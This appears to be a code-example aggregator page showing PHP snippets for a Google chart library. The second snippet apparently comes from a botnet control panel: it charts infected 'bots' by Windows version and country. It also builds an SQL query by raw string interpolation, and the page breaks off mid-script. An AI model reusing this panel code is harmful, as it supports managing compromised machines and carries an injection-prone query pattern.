Exemplo n.º 1
0
?>
<img src="<?php 
print $meter->getUrl();
?>
" /> <br> Goole-o-Meter Chart using the gMeterChart class.
<p>
<em>code:</em><br>
<code>
$meter = new gMeterChart();<br>
$meter -> addDataSet(array(10, 50, 90));<br>
$meter -> setColors('FFFFFF','000000');<br>
</code>
</p>
<h2>Map Chart</h2>
<?php 
$map = new gMapChart();
$map->setZoomArea('usa');
$map->setStateCodes(array('CA', 'TX', 'NY', 'UT', 'NV'));
$map->addDataSet(array(23, 32, 12, 54, 23));
$map->setColors('342544', array('BE3481', '34BE12'));
?>
<img src="<?php 
print $map->getUrl();
?>
" /> <br> Map Chart using the gMapChart class.
<p>
<em>code:</em><br>
<code>
$map = new gMapChart();<br>
$map -> setZoomArea('usa');<br>
$map -> setStateCodes(array('CA', 'TX', 'NY', 'UT', 'NV'));<br>
Exemplo n.º 2
0
$piChart2->setColors(array("5D8AA8", "B4CDCD"));
$piChart2->addBackgroundFill('bg', '000000');
$piChart3 = new gPieChart(250, 125);
$piChart3->addDataSet(array($windows7count, $windowsvistacount, $windowsxpcount, $unknowncount));
$piChart3->setLegend(array("7", "Vista", "XP", "Unknown"));
$piChart3->setLabels(array(round($windows7count / $statustotal * 100, 0) . "%", round($windowsvistacount / $statustotal * 100, 0) . "%", round($windowsxpcount / $statustotal * 100, 0) . "%", round($unknowncount / $statustotal * 100, 0) . "%"));
$piChart3->setColors(array("5D8AA8", "B4CDCD", "E32636", "EFDECD"));
$piChart3->addBackgroundFill('bg', '000000');
$cclist = array();
$ccvalues = array();
while ($row = mysql_fetch_array($ccs)) {
    array_push($cclist, $row[0]);
    $values = mysql_query("SELECT * FROM clients WHERE cc LIKE '{$row['0']}'");
    array_push($ccvalues, mysql_num_rows($values) / $totalbots * 100);
}
$map1 = new gMapChart();
$map1->setZoomArea('world');
$map1->setStateCodes($cclist);
$map1->addDataSet($ccvalues);
$map1->setColors('000000', array('0099FF', '002288'));
$map1->addBackgroundFill('bg', '000000');
echo '<link rel="stylesheet" type="text/css" href="css/style.css"/>
	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
		
	<script type="text/javascript">
    	$(document).ready(function(){
      		refreshBotsOnline();
    	});
    	
    	function refreshBotsOnline(){
        	$(\'#navi\').load(\'inc/html_menu.php\');